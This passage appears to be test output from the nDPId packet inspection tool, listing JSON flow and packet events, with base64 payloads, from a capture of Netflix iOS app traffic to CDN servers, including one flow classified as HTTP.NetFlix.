ALwAgAAAAAAAX6oAALwAgAAAAAAAX1gAALwAgAAAAAAAX\/sAALwAgAAAAAAAXwUAALwAgAAAAAAAX14AALwAgAAAAAAAX\/YAALwAgAAAAAAAXQMAALgAgAAAAAAAX3AAALwAgAAAAAAAX38AALwAgAAAAAAAX\/MAALwAgAAAAAAAYCAAALwAgAAAAAAAXykAALwAgAAAAAAAX4kAALwAgAAAAAAAXusAALwAgAAAAAAAXmgAALgAgAAAAAAAX0cAALwAgAAAAAAAXzAAALwAgAAAAAAAX0sAALwAgAAAAAAAYFwAALwAgAAAAAAAXtEAALwAgAAAAAAAYDAAALwAgAAAAAAAXvAAALwAgAAAAAAAXZ0AALgAgAAAAAAAX4MAALwAgAAAAAAAYDAAALwAgAAAAAAAXwcAALwAgAAAAAAAXzsAALwAgAAAAAAAYRMAALwAgAAAAAAAXs4AALwAgAAAAAAAXwgAALwAgAAAAAAAXb4AALgAgAAAAAAAXvsAALwAgAAAAAAAYF4AALwAgAAAAAAAXzEAALwAgAAAAAAAX+cAALwAgAAAAAAAX1cAALwAgAAAAAAAYCEAALwAgAAAAAAAX6gAALwAgAAAAAAAXFMAALgAgAAAAAAAYEgAALwAgAAAAAAAXtYAALwAgAAAAAAAYMcAALwAgAAAAAAAXxsAALwAgAAAAAAAX50AALwAgAAAAAAAXswAALwAgAAAAAAAX6QAALwAgAAAAAAAXbYAALgAgAAAAAAAX0gAALwAgAAAAAAAXzYAALwAgAAAAAAAX5QAALwAgAAAAAA="} +02382{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1108,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":194580,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAJAADgGX8kX9gOMwKgBBwBQz7OFwuzPbcF3b4AQCALkEQAAAQEICoSgyxofZQi+AF\/OAAC8AIAAAAAAAF+wAAC8AIAAAAAAAF9EAAC8AIAAAAAAAF+bAAC8AIAAAAAAAF2GAAC4AIAAAAAAAF9dAAC8AIAAAAAAAF\/BAAC8AIAAAAAAAF9NAAC8AIAAAAAAAF9QAAC8AIAAAAAAAF+YAAC8AIAAAAAAAGChAAC8AIAAAAAAAGATAAC8AIAAAAAAAFyTAAC4AIAAAAAAAF+IAAC8AIAAAAAAAF8sAAC8AIAAAAAAAF8mAAC8AIAAAAAAAGAfAAC8AIAAAAAAAF8JAAC8AIAAAAAAAF\/cAAC8AIAAAAAAAF+nAAC8AIAAAAAAAF0pAAC4AIAAAAAAAGBLAAC8AIAAAAAAAF7YAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF8vAAC8AIAAAAAAAGEvAAC8AIAAAAAAAF4PAAC8AIAAAAAAAF+RAAC8AIAAAAAAAF8KAAC4AIAAAAAAAF5rAAC8AIAAAAAAAF9IAAC8AIAAAAAAAF+oAAC8AIAAAAAAAF+cAAC8AIAAAAAAAF9gAAC8AIAAAAAAAF\/zAAC8AIAAAAAAAF8iAAC8AIAAAAAAAF2IAAC4AIAAAAAAAGDXAAC8AIAAAAAAAF5QAAC8AIAAAAAAAGBzAAC8AIAAAAAAAF6sAAC8AIAAAAAAAF9jAAC8AIAAAAAAAGAVAAC8AIAAAAAAAF8SAAC8AIAAAAAAAF2YAAC4AIAAAAAAAF8tAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF9oAAC8AIAAAAAAAF\/XAAC8AIAAAAAAAF\/LAAC8AIAAAAAAAF+fAAC8AIAAAAAAAF+iAAC8AIAAAAAAAF0hAAC4AIAAAAAAAGBUAAC8AIAAAAAAAF94AAC8AIAAAAAAAF\/BAAC8AIAAAAAAAF4SAAC8AIAAAAAAAGBzAAC8AIAAAAAAAF9eAAC8AIAAAAAAAGAOAAC8AIAAAAAAAF08AAC4AIAAAAAAAF7XAAC8AIAAAAAAAGCmAAC8AIAAAAAAAF73AAC8AIAAAAAAAF8RAAC8AIAAAAAAAF+aAAC8AIAAAAAAAF\/hAAC8AIAAAAAAAF8GAAC8AIAAAAAAAF3vAAC4AIAAAAAAAF9JAAC8AIAAAAAAAF\/jAAC8AIAAAAAAAF9HAAC8AIAAAAAAAF\/tAAC8AIAAAAAAAF9oAAC8AIAAAAAAAF9UAAC8AIAAAAAAAF87AAC8AIAAAAAAAF5UAAC4AIAAAAAAAF+LAAC8AIAAAAAAAF92AAC8AIAAAAAAAF7\/AAC8AIAAAAAAAF9AAAC8AIAAAAAAAF+2AAC8AIAAAAAAAF+gAAC8AIAAAAAAAF94AAC8AIAAAAAAAF3SAAC4AIAAAAAAAF+HAAC8AIAAAAAAAF8GAAC8AIAAAAAAAF9kAAC8AIAAAAAAAGAwAAC8AIAAAAAAAGABAAC8AIAAAAAAAF9iAAC8AIAAAAAAAF9PAAC8AIAAAAAAAF3OAAC4AIAAAAAAAF58AAC8AIAAAAAAAF\/EAAC8AIAAAAAAAF+3AAC8AIAAAAAAAF\/NAAC8AIAAAAAAAF+WAAC8AIAAAAAAAF7dAAC8AIAAAAAAAGAqAAC8AIAAAAAAAF0XAAC4AIAAAAAAAGBZAAC8AIAAAAAAAF6WAAC8AIAAAAAAAF\/dAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF+YAAC8AIAAAAAAAF+CAAC8AIAAAAAAAGC4AAC8AIAAAAAAAFvxAAC4AIAAAAAAAF98AAC8AIAAAAAAAF\/AAAC8AIAAAAAAAF+lAAC8AIAAAAAAAGAoAAC8AIAAAAAAAF9bAAC8AIAAAAAAAGCPAAC8AIAAAAAAAF6vAAC8AIAAAAAAAF1AAAC4AIAAAAAAAF9bAAC8AIAAAAAAAGAQAAC8AIAAAAAAAF7wAAC8AIAAAAAAAF+KAAC8AIA="} +00428{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1109,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":196287,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0IAtAAEAGPYjAqAEHF\/YDjM+zAFBtwXdvhcLyd4AQD9LkNQAAAQEICh9lCPWEoMsa"} +02366{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1110,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":209518,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAANAADgGX8gX9gOMwKgBBwBQz7OFwvJ3bcF3b4AQCAI9pgAAAQEICoSgyxofZQi+AAAAAABfkwAAvACAAAAAAABgbgAAvACAAAAAAABeTgAAvACAAAAAAABdLQAAuACAAAAAAABgOwAAvACAAAAAAABfegAAvACAAAAAAABfXwAAvACAAAAAAABfnwAAvACAAAAAAABfggAAvACAAAAAAABf5wAAvACAAAAAAABfKwAAvACAAAAAAABdoQAAuACAAAAAAABfPwAAvACAAAAAAABg4gAAvACAAAAAAABepQAAvACAAAAAAABf+AAAvACAAAAAAABfCAAAvACAAAAAAABgPQAAvACAAAAAAABfRwAAvACAAAAAAABcigAAuACAAAAAAABgFwAAvACAAAAAAABfMAAAvACAAAAAAABfmgAAvACAAAAAAABfnAAAvACAAAAAAABfwQAAvACAAAAAAABfeAAAvACAAAAAAABfZAAAvACAAAAAAABdjwAAuACAAAAAAABfmAAAvACAAAAAAABfDAAAvACAAAAAAABf5QAAvACAAAAAAABfRAAAvACAAAAAAABfhQAAvACAAAAAAABf7QAAvACAAAAAAABfQQAAvACAAAAAAABepAAAuACAAAAAAABe4QAAvACAAAAAAABfKwAAvACAAAAAAABfVQAAvACAAAAAAABfpAAAvACAAAAAAABflwAAvACAAAAAAABflwAAvACAAAAAAABgbgAAvACAAAAAAABcegAAuACAAAAAAABfegAAvACAAAAAAABgMAAAvACAAAAAAABe6wAAvACAAAAAAABgPQAAvACAAAAAAABe0gAAvACAAAAAAABfnAAAvACAAAAAAABgBgAAvACAAAAAAABddQAAuACAAAAAAABfaAAAvACAAAAAAABgHAAAvACAAAAAAABe5AAAvACAAAAAAABfLwAAvACAAAAAAABf4AAAvACAAAAAAABfqgAAvACAAAAAAABfGAAAvACAAAAAAABd9QAAuACAAAAAAABfRQAAvACAAAAAAABfowAAvACAAAAAAABf2wAAvACAAAAAAABfaQAAvACAAAAAAABfFAAAvACAAAAAAABgbgAAvACAAAAAAABfNgAAvACAAAAAAABd0QAAuACAAAAAAABfEAAAvACAAAAAAABfxgAAvACAAAAAAABgEQAAvACAAAAAAABfNgAAvACAAAAAAABePAAAvACAAAAAAABfigAAvACAAAAAAABhUAAAvACAAAAAAABduAAAuACAAAAAAABfYAAAvACAAAAAAABf6gAAvACAAAAAAABenQAAvACAAAAAAABfzAAAvACAAAAAAABfWwAAvACAAAAAAABfXwAAvACAAAAAAABfmQAAvACAAAAAAABdxQAAuACAAAAAAABftgAAvACAAAAAAABeigAAvACAAAAAAABf3wAAvACAAAAAAABgiwAAvACAAAAAAABe\/AAAvACAAAAAAABfBgAAvACAAAAAAABfhAAAvACAAAAAAABdSAAAuACAAAAAAABfhwAAvACAAAAAAABgtwAAvACAAAAAAABeuAAAvACAAAAAAABfaAAAvACAAAAAAABfDAAAvACAAAAAAABgtQAAvACAAAAAAABfEAAAvACAAAAAAABd2AAAuACAAAAAAABfDwAAvACAAAAAAABfVgAAvACAAAAAAABgNgAAvACAAAAAAABeugAAvACAAAAAAABg2AAAvACAAAAAAABfYgAAvACAAAAAAABebwAAvACAAAAAAABdnwAAuACAAAAAAABgbwAAvACAAAAAAABfuQAAvACAAAAAAABeMwAAvACAAAAAAABhXQAAvACAAAAAAABe4AAAvACAAAAAAABfPQAAvACAAAAAAABfVAAAvACAAAAAAABeGAAAuACAAAAAAABfEwAAvACAAAAAAABf+wAAvACAAAAAAABfJAAAvACAAAAAAABfMAAAvACAAAAAAABftQA="} +00428{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1111,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":211269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0175AAEAGhdTAqAEHF\/YDjM+zAFBtwXdvhcL4H4AQEADeUQAAAQEICh9lCQOEoMsa"} +02368{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1112,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":222320,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +02380{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":235033,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAVAADgGX8YX9gOMwKgBBwBQz7OFwv3HbcF3b4AQCAIxGQAAAQEICoSgyxofZQi+AGAHAAC8AIAAAAAAAF85AAC8AIAAAAAAAF2aAAC4AIAAAAAAAF+qAAC8AIAAAAAAAF+hAAC8AIAAAAAAAF73AAC8AIAAAAAAAF+IAAC8AIAAAAAAAGB7AAC8AIAAAAAAAF72AAC8AIAAAAAAAF8xAAC8AIAAAAAAAF2tAAC4AIAAAAAAAGBbAAC8AIAAAAAAAF8fAAC8AIAAAAAAAGB1AAC8AIAAAAAAAF5nAAC8AIAAAAAAAF90AAC8AIAAAAAAAF+CAAC8AIAAAAAAAGAPAAC8AIAAAAAAAFzzAAC4AIAAAAAAAF9dAAC8AIAAAAAAAGBjAAC8AIAAAAAAAF7jAAC8AIAAAAAAAGAsAAC8AIAAAAAAAF+dAAC8AIAAAAAAAF6yAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF2UAAC4AIAAAAAAAGFsAAC8AIAAAAAAAF1MAAC8AIAAAAAAAGBiAAC8AIAAAAAAAF9OAAC8AIAAAAAAAF\/CAAC8AIAAAAAAAF84AAC8AIAAAAAAAGAJAAC8AIAAAAAAAF2YAAC4AIAAAAAAAF83AAC8AIAAAAAAAF7mAAC8AIAAAAAAAF7\/AAC8AIAAAAAAAGEAAAC8AIAAAAAAAF6MAAC8AIAAAAAAAF\/tAAC8AIAAAAAAAGAtAAC8AIAAAAAAAFz\/AAC4AIAAAAAAAF\/LAAC8AIAAAAAAAGAkAAC8AIAAAAAAAF6BAAC8AIAAAAAAAGBcAAC8AIAAAAAAAF7iAAC8AIAAAAAAAGBgAAC8AIAAAAAAAF5yAAC8AIAAAAAAAF0+AAC4AIAAAAAAAGAtAAC8AIAAAAAAAF7oAAC8AIAAAAAAAF+SAAC8AIAAAAAAAF+FAAC8AIAAAAAAAF+JAAC8AIAAAAAAAF9+AAC8AIAAAAAAAF\/xAAC8AIAAAAAAAF6GAAC4AIAAAAAAAF+7AAC8AIAAAAAAAF4aAAC8AIAAAAAAAGCVAAC8AIAAAAAAAF5pAAC8AIAAAAAAAF\/5AAC8AIAAAAAAAF87AAC8AIAAAAAAAGCSAAC8AIAAAAAAAFyXAAC4AIAAAAAAAF+2AAC8AIAAAAAAAF+IAAC8AIAAAAAAAF+YAAC8AIAAAAAAAF+DAAC8AIAAAAAAAGAIAAC8AIAAAAAAAF7tAAC8AIAAAAAAAGBIAAC8AIAAAAAAAFx\/AAC4AIAAAAAAAGAEAAC8AIAAAAAAAF8+AAC8AIAAAAAAAF9wAAC8AIAAAAAAAGApAAC8AIAAAAAAAF9TAAC8AIAAAAAAAGBUAAC8AIAAAAAAAF6+AAC8AIAAAAAAAF2sAAC4AIAAAAAAAF9\/AAC8AIAAAAAAAF9fAAC8AIAAAAAAAGBJAAC8AIAAAAAAAF6TAAC8AIAAAAAAAF+YAAC8AIAAAAAAAF\/SAAC8AIAAAAAAAF7xAAC8AIAAAAAAAF5rAAC4AIAAAAAAAF6uAAC8AIAAAAAAAF\/3AAC8AIAAAAAAAF9pAAC8AIAAAAAAAF9WAAC8AIAAAAAAAGGKAAC8AIAAAAAAAF4AAAC8AIAAAAAAAGCFAAC8AIAAAAAAAFyjAAC4AIAAAAAAAF9+AAC8AIAAAAAAAF9rAAC8AIAAAAAAAF+CAAC8AIAAAAAAAGC6AAC8AIAAAAAAAF4dAAC8AIAAAAAAAF+MAAC8AIAAAAAAAF95AAC8AIAAAAAAAF2DAAC4AIAAAAAAAGBAAAC8AIAAAAAAAF7TAAC8AIAAAAAAAF9qAAC8AIAAAAAAAGALAAC8AIAAAAAAAGC3AAC8AIAAAAAAAF8\/AAC8AIAAAAAAAF4OAAC8AIAAAAAAAF2OAAC4AIAAAAAAAGCKAAC8AIAAAAAAAF8YAAC8AIAAAAAAAGAcAAC8AIAAAAAAAF8FAAC8AIAAAAAAAF\/SAAC8AIAAAAAAAF\/DAAC8AIA="} +00428{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319054,"pkt_ts_usec":237694,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ouxAAEAGuqbAqAEHF\/YDjM+zAFBtwXdvhcMDb4AQD9LTFgAAAQEICh9lCRyEoMsa"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1231,"source":"netflix.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1484319056204,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.133","src_port":53172,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":204111,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAfy9AAEAG1l7AqAEHF\/YLhc+0AFDwxwoWAAAAALAC\/\/9XEAAAAgQFtAEDAwUBAQgKH2UQewAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1232,"source":"netflix.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1484319056210,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.133","src_port":53173,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":210218,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAc11AAEAG4jDAqAEHF\/YLhc+1AFCjZhjfAAAAALAC\/\/+VoQAAAgQFtAEDAwUBAQgKH2UQgQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1233,"source":"netflix.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1484319056214,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53174,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":214323,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAlQtAAEAGwHrAqAEHF\/YLjc+2AFBDrGT6AAAAALAC\/\/+pMwAAAgQFtAEDAwUBAQgKH2UQhQAAAAAEAgAA"} +00440{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":215779,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWnIX9guFwKgBBwBQz7RnATKV8McKF6AS\/\/8JWwAAAgQFtAEDAwkEAggKNWmPpR9lEHs="} +00427{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1235,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":219771,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0oIhAAEAGtRHAqAEHF\/YLhc+0AFDwxwoXZwEyloAQEBUoBwAAAQEICh9lEIg1aY+l"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1236,"source":"netflix.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1484319056221,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53175,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1236,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":221799,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAtyBAAEAGnmXAqAEHF\/YLjc+3AFC7qylgAAAAALAC\/\/9syQAAAgQFtAEDAwUBAQgKH2UQiQAAAAAEAgAA"} +00910{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":222173,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"gCqoTGHM5JjWH70UCABFAAGaDOxAAEAGR0jAqAEHF\/YLhc+0AFDwxwoXZwEyloAYEBXItgAAAQEICh9lEIo1aY+lR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMW91VmFKcGVRTEJXakdMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwXzdsSGhXQTRrVzlnYXlZRVd0ak5OS2Umdj0zJmU9MTQ4NDM0Nzg1MCZ0PUpmRWVmODBLMDJ5bklqTExvaS1IWkIxdVExMCZyYW5kb209MjQ3MzMzNjUxMyBIVFRQLzEuMQ0KSG9zdDogMjMuMjQ2LjExLjEzMw0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZGVmbGF0ZSwgZ3ppcA0KVXNlci1BZ2VudDogbmV0ZmxpeC1pb3MtYXBwDQoNCg=="} +00931{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1237,"source":"netflix.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":4,"flow_first_seen":1484319056204,"flow_last_seen":1484319056222,"flow_tot_l4_data_len":506,"flow_min_l4_data_len":32,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.133","src_port":53172,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.133","url":"23.246.11.133\/range\/0-65535?o=AQEfKq2oMrLRiWL1ouVaJpeQLBWjGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThp_7lHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=JfEef80K02ynIjLLoi-HZB1uQ10&random=2473336513","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1238,"source":"netflix.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1484319056232,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53176,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":232857,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA7BpAAEAGaWvAqAEHF\/YLjc+4AFBql8CVAAAAALAC\/\/8mpAAAAgQFtAEDAwUBAQgKH2UQjAAAAAAEAgAA"} 